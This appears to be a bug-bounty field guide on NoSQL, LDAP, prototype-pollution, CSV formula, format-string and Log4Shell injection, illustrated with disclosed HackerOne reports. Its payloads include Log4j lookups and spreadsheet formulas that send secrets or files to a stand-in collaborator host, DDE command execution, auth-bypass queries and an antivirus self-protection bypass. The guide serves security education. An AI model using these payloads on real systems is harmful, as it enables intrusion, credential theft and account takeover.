⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/LDAP / XML / Other Injection
Vulnerabilities

LDAP / XML / Other Injection

§Basic information

Injection is what happens when a value the developer treats as an inert string is handed to a downstream engine that treats it as structure or code. SQLi, XSS, SSTI and command injection are the famous four, but the same mechanic recurs anywhere input crosses a parser boundary: a MongoDB query filter, a lodash deep-merge, an LDAP filter string, a spreadsheet cell, a str.format() template, a Log4j logging lookup, a GraphQL/URN reference resolver, an HTTP/SIP header parser. This page is the long tail of everything else.

The unifying question is "if something parses my input, what else can I say to it?" The developer sends a username; the LDAP layer sees filter syntax. The developer sends JSON options; the merge function sees a __proto__ key. The developer exports a name to CSV; Excel sees a formula. Impact ranges from DoS (prototype clobber, LDAP amplification) through info disclosure (format-string globals, reference-resolver DB dumps) up to authentication bypass and RCE (Mongo $ne, blind $regex → reset-token exfil → admin ATO → webhook script). Treat each of these as its own grammar with its own metacharacters.

§Methodology

  1. Fingerprint the engine behind the field. A token that feeds a Mongo query, a username that builds an LDAP filter, an options blob that gets deep-merged, a field that later lands in a CSV export — each has a different grammar.
  2. Fire a multi-grammar canary and watch which single backend errors or changes behavior.
  3. Speak that engine's grammar — swap the string for the operator object / filter metacharacter / prototype key / formula prefix that the parser interprets.
  4. Build a boolean or OOB oracle when the response is opaque: $regex prefix-match for NoSQL, a Collaborator DNS callback for JNDI/format-string.
  5. Escalate the primitive — turn a query-filter bypass into an admin session, a leaked token into ATO, a polluted prototype into an auth flag or a template gadget.
# Multi-grammar canary — one metacharacter set upsets exactly one backend. # Send each token in a param/body field and diff the response vs a benign baseline. *')( # LDAP filter metacharacters -> LDAP error (e.g. 0x80005000) = filter sink {"$ne":null} # Mongo operator object -> query behavior changes = NoSQL sink __proto__ # merge key -> ({}).pp set afterwards = prototype-pollution sink =1+1 # formula prefix -> cell shows 2 on CSV/XLSX export = formula sink ${jndi:x} # JNDI lookup -> OOB callback = Log4Shell sink {{7*7}} # template marker -> 49 means SSTI (pivot off this page)

§Injection contexts

Identify which parser your input reaches, then use the matching grammar.

NoSQL operator injection (MongoDB)

Any parameter that lands in a Mongo filter without being coerced to a string is injectable. HTTP bracket notation (key[$ne]=null) is parsed by qs/Express into an operator object, and a JSON body carries operators directly. Operators turn an equality check into an attacker-controlled predicate.

# Bracket notation in the query string -> {access_token: {$ne: null}} # Matches the first token in the collection -> authenticated as that user (#3564655) GET /api/v1/me?access_token[$ne]=null # JSON body form: match anything, bypass an equality/ownership check {"username": {"$gt": ""}} {"rid": {"$regex": ".*"}}

Blind NoSQL ($regex / $where oracle)

When the response is opaque (doc-present vs error, policy-returned vs not), $regex gives a per-character boolean oracle. $where runs server-side JS and leaks any field of the matched document even when the endpoint restricts which fields it returns — the row-match itself becomes the oracle.

# $regex prefix oracle: correct prefix -> non-error response. Binary-search each char # to reconstruct a password-reset token, then reset the admin (#2580062, #1130721) POST /api/v1/method.callAnon {"message":"{\"msg\":\"method\",\"method\":\"getPasswordPolicy\",\"params\":[{\"token\":{\"$regex\":\"^A\"}}]}"}
# $where: leak a hidden field even when output fields are restricted (#1130874) # returns the admin doc only if the guessed char of the reset token matches query={"$where":"this.roles.includes('admin') && /^A/.test(this.services.password.reset.token)"}

Prototype pollution (deep-merge / deep-set sinks)

Recursive merge/clone/defaults/set helpers (lodash merge/defaultsDeep/zipObjectDeep/set, merge.recursive, @firebase/util deepExtend) that walk attacker-controlled keys without blocking __proto__/constructor/prototype write onto Object.prototype — affecting every object. Confirm on a fresh {}, then follow the polluted property to a gadget.

// Object-key form: merge sink ingesting user JSON (#310443) _.merge({}, JSON.parse('{"__proto__":{"polluted":"x"}}')); console.log(({}).polluted); // "x" -> Object.prototype is polluted // Bracket-/dot-path string form: reaches the prototype through set/zipObjectDeep (#864701, #712065) _.set({}, '__proto__[isAdmin]', true); _.zipObjectDeep(['__proto__.z'], [123]); console.log(({}).isAdmin, ({}).z); // true 123

Client-side config merges are sinks too — a Mermaid %%{init}%% directive stored in any issue/comment pollutes the prototype for every viewer who renders it (#1106238):

%%{init: { "__proto__": {"polluted": "asdf"} } }%% sequenceDiagram Alice->>Bob: Hi Bob

LDAP filter injection

A login or search that builds (|(uid=$u)(mail=$u)...) by string concatenation lets filter metacharacters (* ( ) \) become syntax. * is a presence wildcard (matches everything → auth/info issues); repeated presence sub-filters make the server evaluate an enormous filter until it OOMs.

# Detection: a single unbalanced ) throws an LDAP error (e.g. 0x80005000) (#359290) username=) # Amplification DoS: heap OOM evaluating the inflated OR-filter (#906959) # vulnerable filter: (|(uid=${username})(mail=${username})(username=${username})) # username value = "*)" then "(cn=*)" repeated ~700000 times then "(cn=*" # (conceptual construction — send the resulting ~4.9MB string as the username)

Spreadsheet formula / CSV-DDE injection

Any user-controlled value that lands in an exported CSV/XLSX and begins with = + - @ is evaluated as a formula when a victim opens it. This is almost always second-order and cross-user: one user plants the payload, a different privileged user's export triggers it — so it works even on "self-only" fields.

# =1+1 shows "2" on open -> evaluation confirmed. Then escalate: =cmd|' /C calc'!A0 # DDE command exec (Excel/Windows) (#72785, #126109) =HYPERLINK("https://COLLAB/x?d="&A1,"click") # exfil adjacent cells (#126109) =WEBSERVICE(CONCATENATE("https://COLLAB/x",'file:///etc/passwd'#$passwd.A1)) # local file read (#943255)
▸ TIP
Breakout when a leading quote is added: prefix with " to close the sanitizer's quote ("=1+1), or use LibreOffice's single-quote formula form ",'=2+11'," to slip a double-quote neutralizer (#943255). A leading newline before the formula can bypass an =+-@-prefix filter entirely (#111192).

Python str.format() injection

A user-controlled value used as the format string (not as an argument) is an injection — {obj.__class__.__init__.__globals__[...]} walks object attributes to module globals and dumps secrets with no eval required. Distinct from f-strings; grep for .format( with attacker-influenced templates (log paths, filenames, run_id).

# Airflow CVE-2022-40604: run_id is interpolated into a str.format() log-URL template (#1707287) run_id = "{ti.task.__class__.__init__.__globals__[conf].__dict__}" # -> leaks Airflow conf: secret_key, sql_alchemy_conn, DB creds

JNDI lookup injection (Log4Shell)

Log4j <2.15 performs JNDI lookups on any logged string via ${...} substitution. Spray the payload across every value that could be logged — headers especially (User-Agent, X-Forwarded-For, Referer, auth tokens). Nest ${hostName}/${env:...} into the DNS label to confirm and exfiltrate even when outbound LDAP is filtered but DNS resolves.

# OOB DNS/LDAP callback = confirmed; nested lookup exfils host/secret in the DNS label (#1429014) ${jndi:ldap://x${hostName}.log4j.COLLAB/a} ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.COLLAB/a} # after callback, serve a malicious class from your LDAP endpoint for full RCE

Reference / hydration resolver injection

Layers that resolve typed references (GraphQL/Voyager URN decoration, node(id:), @include of foreign objects) often skip per-field authorization. Plant a reference to a foreign object in a field you control and force the server to expand it across the auth boundary; sequential IDs turn one resolve into mass extraction.

// Store a foreign email-URN in your own profile text field, then force decoration (#1806939) // profile website value: urn:li:fs_emailAddress:8519272224 // then request expansion — the 'included' block resolves the URN to the target's email: fetch('/voyager/api/identity/dash/profiles?decoration=%28websites*%28url~%29%29&memberIdentity=VICTIM&q=memberIdentity', {headers:{'x-li-deco-include-micro-schema':'true'}}); // iterate sequential ids -> dump the email DB

Parser differentials & dual-path gaps

When two parsers disagree — or when the same object travels one validated path and one unvalidated path — you smuggle structure past the check. Duplicate-key JSON ({"role":"user","role":"admin"}) is read differently by validator vs consumer (#2095061); an object sanitized on DB write reaches clients raw over the websocket broadcast path (#2541027); trailing whitespace in a header value slips an allow/deny list in the HTTP parser (#730779).

# Same post object, sanitized on DB write, NOT on websocket broadcast -> spoof/DoS clients (#2541027) POST /api/v4/posts {"metadata":{"embeds":[{"type":"permalink","data":{"post":{"user_id":"SYSTEM","message":["crash"]}}}]}} # message:[...] (array, not string) type-confuses the client renderer -> white-screen DoS
● NOTE
Confirm the grammar with the canary before firing a heavy payload. Sending {{7*7}} and getting 49 means you are in a template engine (SSTI), not one of these sinks — pivot. Sending *) and getting an LDAP error confirms a filter sink even when the happy-path response looks identical.

§Bypasses

Filter / controlBypassSeen in
__proto__ key blocklistedreach Object.prototype via the constructor.prototype path#380873, #380878
object-key form filteredbracket/dot-path string __proto__[x] / __proto__.z in set/zipObjectDeep#864701, #712065
string-typed paramHTTP bracket notation key[$ne]=null parsed as an operator object by qs/Express#3564655
restricted output fields$where makes the row-match itself the oracle — leaks hidden token/2FA#1130874
CSV double-quote neutralizerLibreOffice single-quote formula form ",'=2+11',"#943255
CSV =+-@ prefix filterleading newline before the formula bypasses the prefix check#111192
CSS exact-match sanitizerposition: fixed !important / unquoted url() from a bg attribute#3590586, #3590583
LDAP outbound (LDAP) filteredJNDI confirm/exfil over DNS via nested ${hostName} lookup#1429014
Host allow/deny listtrailing whitespace in the header value slips http_parser's list check#730779
SIP header blocklistincomplete blocklist → arbitrary SIP header injection#3789570
JSON schema validationduplicate-key parser differential smuggles a privileged field#2095061
DB-write sanitizersame object skips the sanitizer on the websocket-broadcast path#2541027
▲ WARNING
Formula/CSV injection and stored prototype pollution look like "self" issues until you frame the delivery. CSV is real because a different admin opens the export (#126109); Mermaid pollution is real because every viewer of the stored diagram renders it (#1106238). Report the cross-user delivery vector or it closes as informative.

§Escalation & impact

The recurring corpus pattern is injection → oracle → secret → account takeover → RCE:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 77 in this class.

Real-world example

NoSQL operator injection -> unauth auth bypass (MongoDB $ne)

◆ Critical
Specimen #3564655 · rocket_chat · none · 97 votes · resolved
Program rocket_chatSurface apiChain NoSQL operator injection -> auth bypass -> admin accouTag oauthTag account-takeover

Root cause

An OAuth access_token was compared against the DB using an attacker-controlled query value. Passing a MongoDB operator object (access_token[$ne]=null) makes the query match the first token in the collection, authenticating with no valid credentials.

Method

  1. Find an endpoint that authenticates via access_token query parameter.
  2. Send access_token[$ne]=null so the value is parsed as a Mongo operator {$ne: null}.
  3. Query matches the first existing OAuth token -> authenticated as that user (admin), leading to ATO. Requires >=1 OAuth token to exist.
GET /...?access_token[$ne]=null

Insight — When a param maps to a query filter on a NoSQL/Mongo backend, submit operator objects (key[$ne]=null, key[$gt]=, key[$regex]=) to bypass equality checks. Bracket notation in query/body turns a string into an operator object in Express/qs.

Real-world example

Python str.format() injection via run_id -> read __globals__/config secrets (Airflow CVE-2022-40604)

◆ Critical
Specimen #1707287 · ibb · 8000 · 87 votes · resolved
Program ibbSurface webChain format-string injection -> read secret_key -> forge se

Root cause

file_task_handler.py builds a log URL with str.format(ti=ti, ...) where part of the format string (log_relative_path derived from run_id) is user-controlled, so a format expression can walk object attributes to reach Python globals and dump the app config (secret_key, DB creds).

Method

  1. Trigger a DAG with a crafted run_id that is a Python format expression
  2. Open the task Log view and capture the get_logs_with_metadata request
  3. Set try_number to a nonexistent value (e.g. 9999) and load the URL to surface the formatted output containing config internals
run_id = {ti.task.__class__.__init__.__globals__[conf].__dict__} # -> leaks Airflow conf incl. secret_key, sql_alchemy_conn, etc.

Insight — Any user-controlled string passed into Python str.format() is an injection: {obj.__class__.__init__.__globals__[...]} reaches module globals and secrets even without an eval. Grep for .format( with attacker-influenced format templates — distinct from f-strings.

Real-world example

Log4Shell JNDI lookup injection (CVE-2021-44228) with DNS pre-exfil

◆ Critical
Specimen #1429014 · deptofdefense · none · 48 votes · resolved
Program deptofdefenseSurface webChain logged input -> JNDI lookup -> LDAP fetch -> remote

Root cause

Log4j <2.15 performs JNDI/LDAP lookups on logged strings via ${jndi:...} message substitution. Any user-controlled value that gets logged (URL param, header, UA) triggers an outbound LDAP fetch and remote class loading = RCE. Nested lookups like ${hostName} exfiltrate host data over DNS.

Method

  1. Identify a value that is logged (URL param, User-Agent, X-Api-Version, etc.)
  2. Inject a jndi:ldap payload pointing at your collaborator, nesting ${hostName}/${env:...} to leak data in the DNS label
  3. Observe the callback (DNS/LDAP) to confirm, then serve a malicious class for full RCE
${jndi:ldap://x${hostName}.log4j.COLLAB.burpcollaborator.net/a}

Insight — Spray the jndi payload across every input that could be logged (headers especially: User-Agent, X-Forwarded-For, Referer, auth tokens). Nest ${hostName}/${env:AWS_SECRET_ACCESS_KEY} in the DNS label to exfil even when egress to LDAP is blocked but DNS resolves.

Real-world example

Pre-auth blind NoSQL injection ($regex) -> reset-token exfil -> admin ATO -> RCE

◆ Critical
Specimen #1130721 · rocket_chat · none · 20 votes · resolved
Program rocket_chatSurface apiChain NoSQLi (blind $regex) -> leak reset token -> admin accTag account-takeover

Root cause

An unauthenticated method (getPasswordPolicy) passes an unvalidated token straight into a Mongo query. Supplying a query-operator object instead of a string turns equality into an attacker-controlled predicate, enabling char-by-char boolean extraction.

Method

  1. Call getPasswordPolicy anonymously via /api/v1/method.callAnon
  2. Send token as {"$regex":"^A"}; policy-returned vs error reveals the guessed prefix
  3. Iterate per position/char to leak the full password-reset token
  4. Reset victim (admin) password, log in, create incoming webhook with a script -> server-side code execution
POST /api/v1/method.callAnon {"message":"{\"msg\":\"method\",\"method\":\"getPasswordPolicy\",\"params\":[{\"token\":{\"$regex\":\"^A\"}}]}"} # policy returned == prefix correct; else error. Walk ^.{i}CHAR to leak token.

Insight — Any param landing in a Mongo/NoSQL filter that is not coerced to a string is injectable: swap the string for {"$regex":..},{"$gt":..},{"$ne":..}. Boolean/blind oracles (200 vs error, policy vs no policy) exfiltrate reset tokens and pivot to ATO; admin ATO on chat/CMS apps frequently reaches RCE via a scriptable integration/webhook.

Real-world example

MongoDB regex NoSQL injection to steal admin reset token

◆ Critical
Specimen #1581059 · rocket_chat · none · 9 votes · resolved
Program rocket_chatSurface apiChain low-priv auth -> regex NoSQLi on admin reset token -> Tag account-takeover

Root cause

A query accepts an operator object so an authenticated low-priv user can pass a {$regex} on the admin's password-reset token field; matching prefixes true/false leaks the token character by character, enabling admin account takeover.

Method

  1. Authenticate as a normal user and capture rc_uid/rc_token
  2. Locate the admin email/user via the same injectable query
  3. Send {$regex:'^X'} style predicates against the reset-token field and observe hit/no-hit
  4. Reconstruct the full reset token, then set a new admin password
// conceptual: field accepts an object instead of a string { "token": { "$regex": "^<GUESS>" } } // true when prefix matches

Insight — Any MongoDB-backed field that accepts a JSON object instead of a scalar is a NoSQL injection sink; $regex/$gt turn secret comparisons into a blind char-by-char oracle. Reset tokens, API keys and password hashes are prime targets. CVE-2022-32211.

Real-world example

LDAP injection in ldapjs OR-filter -> DoS (and auth-bypass primitive)

◆ Critical
Specimen #906959 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface apiChain LDAP filter injection -> filter amplification -> resou

Root cause

The login username is interpolated straight into an LDAP OR-filter string with no escaping, so LDAP filter metacharacters ( * ( ) ) are interpreted as filter syntax. A crafted username with thousands of nested presence sub-filters makes the server evaluate a huge filter until it OOMs (DoS); '*' also matches all entries.

Method

  1. Post to the login endpoint with a username containing LDAP filter syntax.
  2. Use '*' to test presence/auth-affecting behavior; use a repeated '(cn=*)' payload to inflate the filter.
  3. Server evaluates the enormous filter and crashes (JavaScript heap OOM).
# vulnerable: filter = `(|(uid=${username})(mail=${username})(username=${username})(sAMAccountName=${username}))` # DoS username: payload = "*)" + "(cn=*)"*700000 + "(cn=*" POST /api/login username=<payload>&password=pass

Insight — Any login/search that builds an LDAP filter by string concatenation is injectable. '*' is a presence wildcard (info disclosure/auth issues); nested (cn=*) sub-filters cause catastrophic evaluation (DoS). Escape * ( ) \ NUL per RFC4515. Detection: a single unbalanced ')' or double-quote often throws an LDAP error (e.g. 0x80005000), confirming the sink (#359290).

Real-world example

Prototype pollution in klona deep-clone (CVE-2020-8125)

◆ Critical
Specimen #778414 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface webChain __proto__ key in cloned object -> Object.prototype pollutTag supply-chain

Root cause

CVE-2020-8125: klona < 1.1.1 deep-clones objects by recursively copying keys including __proto__, so cloning an attacker-supplied object writes to Object.prototype, adding arbitrary properties globally.

Method

  1. Pass an object with a __proto__ key (e.g. from JSON) into klona().
  2. The recursive clone assigns through __proto__, polluting Object.prototype.
  3. Observe the injected property on unrelated objects; override methods like toString for DoS/possible RCE gadgets.
const klona = require('klona'); klona(JSON.parse('{"__proto__":{"polluted":"yes"}}')); console.log(({}).polluted); // "yes"

Insight — Any deep-clone/merge/extend utility that walks keys without skipping __proto__/constructor/prototype is a prototype-pollution sink. When auditing Node dependencies, feed JSON.parse'd objects with __proto__ into clone/merge helpers and check ({}).<injected>. Pollution of toString/other prototype methods can escalate from DoS to RCE via downstream gadgets.

Real-world example

Prototype pollution via recursive merge/extend (__proto__ injection)

◆ Critical
Specimen #381185 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> gadget in template/engine (e.g. EJTag file-upload

Root cause

Recursive object-merge/clone helpers (extend, merge, defaultsDeep, jQuery-style deep copy) walk attacker-supplied JSON keys without blocking __proto__/constructor/prototype, so a payload key writes onto Object.prototype and pollutes every object in the process.

Method

  1. Find a sink that deep-merges attacker JSON into an object: extend(true,{},input), _.merge, Object.assign-recursive, config/query/body parsers.
  2. Send a JSON body whose top key is __proto__ with the property you want on all objects.
  3. Confirm pollution: read the injected prop on a fresh unrelated object ({}.isAdmin).
  4. Escalate: pick a prop the app later reads (isAdmin, is_admin, ejs template opts, cmd/shell paths) to flip auth logic, cause DoS, or reach gadget-based RCE.
let extend = require('extend'); let payload = JSON.parse('{"__proto__": {"isAdmin": true}}'); extend(true, {}, payload); console.log({}.isAdmin); // true // also: '{"__proto__":{"polluted":"x"}}' into lutils-merge/merge(...)

Insight — Any recursive merge/clone of untrusted JSON is a prototype-pollution sink. Test every deep-merge with a __proto__ key and probe {}.<injected> on a fresh object; then chain the polluted prop into the app's own logic for auth bypass, DoS, or RCE.

Real-world example

Client-side prototype pollution via Mermaid %%{init}%% __proto__ directive

◆ High
Specimen #1106238 · gitlab · USD 3000 · 58 votes · resolved
Program gitlabSurface webChain stored mermaid directive -> Object.prototype pollution -&

Root cause

Mermaid init directives (%%{init: {JSON}}%%) merge attacker JSON into config without sanitizing __proto__, so a diagram in any issue/comment pollutes Object.prototype for every user who renders it (realized impact: persistent DoS; XSS attempted but not achieved).

Method

  1. Insert a mermaid code block with an init directive that sets __proto__
  2. Save it in an issue/comment/wiki
  3. Anyone opening the page gets a polluted prototype, breaking the app for them
%%{init: { '__proto__': {'polluted': 'asdf'}} }%% sequenceDiagram Alice->>Bob: Hi Bob Bob->>Alice: Hi Alice

Insight — Client-side renderers that merge user-supplied JSON/config (Mermaid, markdown extensions, theming) are prototype-pollution sinks; test __proto__/constructor.prototype keys in any diagram/config directive. Even without an XSS gadget the pollution is a stored DoS.

Real-world example

lodash prototype pollution via zipObjectDeep/merge/defaultsDeep

◆ High
Specimen #712065 · nodejs-ecosystem · awarded · 19 votes · resolved
Program nodejs-ecosystemSurface apiChain Prototype pollution -> depending on gadget: DoS/crash, au

Root cause

lodash merge/mergeWith/defaultsDeep/zipObjectDeep follow attacker-controlled property paths without blocking __proto__/constructor/prototype, so a crafted path writes onto Object.prototype - polluting all objects. Impact ranges from DoS/crash to logic bypass or RCE depending on downstream sinks (CVE-2020-8203).

Method

  1. Find a code path that feeds user input into lodash merge/defaultsDeep/set/zipObjectDeep with a controllable key path
  2. Supply a path traversing __proto__ (e.g. ['__proto__.z'])
  3. Object.prototype gains the injected property -> pollutes all objects
const _ = require('lodash'); _.zipObjectDeep(['__proto__.z'], [123]); console.log(({}).z); // 123 -> Object.prototype polluted // also: _.merge({}, JSON.parse('{"__proto__":{"polluted":true}}'))

Insight — Recursive-merge/deep-set helpers are the canonical prototype-pollution sink. Whenever user JSON is merged into config/options objects, test __proto__/constructor.prototype gadget keys. Even without RCE, polluting a widely-read property reliably crashes or DoSes the server. Follow the polluted property to a downstream gadget (e.g. template outputFunctionName) for escalation.

Real-world example

lodash prototype pollution via constructor.prototype (CVE-2018-16487)

◆ High
Specimen #380873 · nodejs-ecosystem · awarded · 14 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> DoS (toString/valueOf clobber) or

Root cause

After merge/mergeWith/defaultsDeep were patched to block __proto__, the same recursive-merge sink can still be reached through constructor.prototype, letting attacker JSON set properties on Object.prototype for all objects.

Method

  1. Find a recursive merge/extend of attacker JSON into an object
  2. Send {"constructor":{"prototype":{"isAdmin":true}}}
  3. Confirm ({}).isAdmin === true
var _ = require('lodash'); var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'); _.merge({}, payload); console.log({}.isAdmin); // true

Insight — When __proto__ is filtered, try the constructor.prototype path to reach the same prototype. Always test both keys against any deep-merge/clone/extend that ingests user JSON.

Real-world example

Blind MongoDB NoSQL injection ($where) -> account takeover -> RCE

◆ High
Specimen #1130874 · rocket_chat · none · 13 votes · resolved
Program rocket_chatSurface apiChain blind NoSQLi -> leak reset token + 2FA -> password resTag account-takeover

Root cause

The users.list API passes the client-supplied query parameter into a MongoDB query without validation, allowing a $where JavaScript oracle that boolean-leaks any field of any user document (email, password reset token, 2FA secret) one character at a time.

Method

  1. Send a $where query that returns the target doc only if a guessed char of a secret field matches
  2. Iterate over positions/charset to fully leak the admin's email and password reset token (and 2FA secret if set)
  3. Request a password reset for the admin, use the leaked token (+2FA) to set a known password
  4. As admin, create an incoming webhook with a server-side script to run commands -> RCE
query={"$where":"this.roles.includes('admin') && /^A/.test(this.services.password.reset.token)"}

Insight — Any endpoint that forwards a JSON/query object into a NoSQL backend is a candidate for $where/regex blind injection. Even with restricted returned fields you can build a boolean oracle to exfiltrate hidden fields (tokens/secrets), then chain reset->admin->RCE. Test operator injection ($where, $regex, $ne) on every query-taking API.

Real-world example

Trailing whitespace in header value bypasses Host allow/deny lists (http_parser)

◆ High
Specimen #730779 · nodejs · awarded · 11 votes · resolved
Program nodejsSurface other

Root cause

Node http_parser did not trim trailing optional whitespace (OWS) from header values, so 'Host: victim.com ' is passed up with the trailing space intact; downstream matchers that compare against 'victim.com' fail to match, letting blocked hosts through.

Method

  1. Send a request with a trailing space after the header value
  2. Observe the parser emits the value including the trailing whitespace
  3. A proxy/gateway configured to block that exact host string no longer matches -> request tunnels through
GET / HTTP/1.1\r\nHost: my-super-private-domain.com \r\nHello: World\r\n\r\n

Insight — HTTP parser/normalizer discrepancies are a filter-bypass goldmine: test trailing/leading whitespace, tabs, and other OWS around header values against any proxy that makes allow/deny decisions on header strings.

Real-world example

Prototype pollution via unsafe recursive merge / deep-set (npm lodash, merge)

◆ High
Specimen #864701 · nodejs-ecosystem · awarded · 9 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> tampered app-trusted property (isA

Root cause

Recursive object merge / path-based set functions walk attacker-controlled keys without blocking __proto__/constructor/prototype, so a payload of {__proto__:{...}} or a path like __proto__[x] writes onto Object.prototype, affecting every object (DoS via poisoned toString/valueOf, and often property injection -> auth bypass/RCE downstream).

Method

  1. Locate a sink that deep-merges or deep-sets attacker JSON (config merge, query parser, ORM, template options).
  2. Send {"__proto__":{"polluted":"x"}} to a merge sink, or a path string __proto__[polluted]=x to a set sink.
  3. Confirm with ({}).polluted; escalate by polluting a property the app trusts (isAdmin, toString, template options).
// lodash set/setWith (#864701): lod.setWith({}, "__proto__[test]", "123") lod.set({}, "__proto__[test2]", "456") console.log(({}).test) // 123 // merge.recursive (#381194): let payload = JSON.parse('{"__proto__": {"isAdmin": true}}'); merge.recursive({}, payload); console.log(({}).isAdmin) // true

Insight — Test every JSON body / config merge / deep-set path with __proto__ (object form) and constructor.prototype, and with bracket-path strings for lodash-style set. Impact ranges from DoS (poison toString) to auth bypass and RCE via gadget properties.

Real-world example

HTML injection into platform-sent invite emails -> trusted-sender phishing

◆ High
Specimen #904064 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain stored HTML in share message -> unsanitized outbound emai

Root cause

A dashboard-sharing 'message' field is not sanitized for HTML before being embedded in the invitation email the platform sends, so an attacker crafts formatted spearphishing that arrives from a trusted first-party mail server.

Method

  1. Create a dashboard and use Share -> 'Add groups and users'
  2. Put HTML into the invitation Message field and enable 'send email invitation'
  3. Recipient gets a first-party email rendering the injected HTML
Message: <b>Action required</b> <a href="https://attacker/login">Re-authenticate here</a>

Insight — Notification/invite/share message fields that feed outbound email are HTML-injection sinks with high phishing value because the mail originates from the target's trusted domain; test formatting tags and links (some img tags may be stripped).

Real-world example

Injection & domain hijack via unfiltered characters in DNS answers

◆ High
Specimen #1178337 · nodejs · none · 4 votes · resolved
Program nodejsSurface apiChain attacker DNS record -> unfiltered hostname in library out

Root cause

Node's dns library returns hostnames from DNS answers (CNAME/PTR) without restricting them to [a-z0-9-.]; embedded NUL bytes and HTML/JS metacharacters pass through, so an attacker who controls a DNS record can smuggle injection payloads or truncate a name into a different domain (cache poisoning / hijack).

Method

  1. Stand up an authoritative zone (bind9 with check-names disabled)
  2. Publish a CNAME/PTR whose label contains \x00 or an injection payload like <img src onerror=alert()>
  3. Make the target app resolve the attacker host (or reverse-resolve an attacker IP)
  4. App reflects/logs/stores/caches the raw hostname -> XSS / log injection / SQLi / DNS-cache domain hijack
; CNAME with embedded NUL truncates the apparent domain: cnamezeroweb IN CNAME zero.longtxtrecord.ml\000cnamezeroweb.test.example.net. ; CNAME carrying an XSS payload label: cnamexss IN CNAME <img/src=''/onerror='alert("xss")'>.a.cnamexss.test.example.net. ; reverse PTR variant: 3.3.3.3.in-addr.arpa. IN PTR <img/src=''/onerror='alert(1)'>.example.com.

Insight — Treat DNS responses as untrusted input. Any app that reverse-resolves client IPs or follows CNAMEs and then logs/renders/stores the name is XSS/log-injection/cache-poisonable. Offensively, control a zone with special-char labels; glibc's gethostbyname filters these, naive libraries do not.

Real-world example

Prototype pollution via recursive deep-merge (@firebase/util deepExtend/deepCopy)

◆ High
Specimen #1001218 · nodejs-ecosystem · none · votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> gadget-dependent escalation (auth-

Root cause

A recursive object merge/clone that walks attacker-controlled keys without excluding __proto__/constructor/prototype assigns into Object.prototype, so an attacker-supplied key like __proto__.polluted sets a property present on every object in the process.

Method

  1. Feed the merge/clone function a JSON object whose key is __proto__ containing the property to inject
  2. Call the vulnerable deep-merge (deepExtend) or deep-clone (deepCopy) with the crafted source
  3. Read the injected property off an unrelated fresh object to confirm global prototype pollution
const utils = require('@firebase/util'); const obj = {}; const source = JSON.parse('{"__proto__":{"polluted":"yes"}}'); console.log('Before : ' + obj.polluted); // undefined utils.deepExtend({}, source); // utils.deepCopy(source); console.log('After : ' + obj.polluted); // yes

Insight — Any JS library exposing a recursive merge/extend/clone/set-by-path helper is a prototype-pollution sink. Use JSON.parse of a raw '{"__proto__":{...}}' string (object literals resolve __proto__ specially, JSON.parse keeps it as an own key) and check a fresh object for the injected prop. Downstream impact depends on the host app: polluted properties can flip auth flags, inject template/config values, cause DoS, or reach RCE when a polluted key lands in a dangerous gadget (e.g. child_process options, EJS/Handlebars options).

Real-world example

AV self-protection bypass via SetWindowsHookEx DLL injection

◆ High
Specimen #870615 · kaspersky · awarded · 15 votes · resolved
Program kasperskySurface desktopChain DLL injection -> WinAPI hooks -> auto-confirm self-proTag supply-chain

Root cause

Kaspersky hooked ClientLoadLibrary to block injection into its UI (avpui.exe), but the block was by dll filename allowlist; a DLL named like an allowed module (tiptsf.dll) could still be injected via SetWindowsHookEx, after which WinAPIs (TrackPopupMenu/IsDialogMessageW) are hooked to auto-confirm dialogs and disable protection.

Method

  1. FindWindow to get the AV UI window handle (avpui.exe)
  2. SetWindowsHookEx to inject a DLL using a filename that passes the ClientLoadLibrary allowlist (e.g. tiptsf.dll)
  3. Hook TrackPopupMenu, send message via PostMessage
  4. When self-protection spawns a confirmation dialog in a new avpui.exe, inject again and hook IsDialogMessageW to auto-click OK
  5. Protection disabled; run malware

Insight — Endpoint/AV 'self-protection' that blocks injection by DLL-name allowlist is bypassable by naming your payload after a permitted module; once inside a trusted GUI process you can hook dialog/message APIs to auto-approve the very prompts meant to stop you. Look for allowlist-by-name enforcement in any injection guard.

Real-world example

GraphQL/Voyager URN decoration injection -> email DB enumeration

◆ Medium
Specimen #1806939 · linkedin · awarded · 79 votes · resolved
Program linkedinSurface apiChain Store fs_emailAddress URN in own profile -> decoration exTag graphql

Root cause

LinkedIn's Voyager decoration feature expands URN-typed fields; the query engine did not enforce which fields are expandable, so storing a fs_emailAddress URN in a profile text field and requesting decoration resolves it, exposing arbitrary users' emails (sequential IDs = full DB).

Method

  1. Set a profile text field (e.g. website URL) to urn:li:fs_emailAddress:<id>
  2. Query the profile with a decoration expansion (decoration=(websites*(url~)))
  3. The response 'included' block resolves the URN to the target email
  4. Iterate sequential email ids to dump the DB
// profile website value: urn:li:fs_emailAddress:8519272224 // then: fetch('/voyager/api/identity/dash/profiles?decoration=%28websites*%28url~%29%29&memberIdentity=<pubid>&q=memberIdentity',{headers:{'x-li-deco-include-micro-schema':'true'}})

Insight — Reference-resolution / hydration layers (URN decoration, GraphQL @include of foreign objects, node(id:)) often lack per-field authorization. Plant a reference to a foreign object in a field you control and force the server to expand it; sequential IDs turn one resolve into mass extraction.

Real-world example

HTML injection in newsletter Name field reflected in transactional email

◆ Medium
Specimen #1108504 · cs_money · $300 · 77 votes · resolved
Program cs_moneySurface web

Root cause

An unsanitized user field (subscriber Name) is reflected into the HTML body of a system-sent confirmation email, letting the attacker rewrite the visible email that victims receive from a trusted sender address.

Method

  1. Subscribe to the newsletter and put HTML markup in the Name field.
  2. Confirmation email from the trusted sender (go@cs.money) renders the injected HTML.
  3. Craft the payload to replace the entire visible email content with a phishing message.
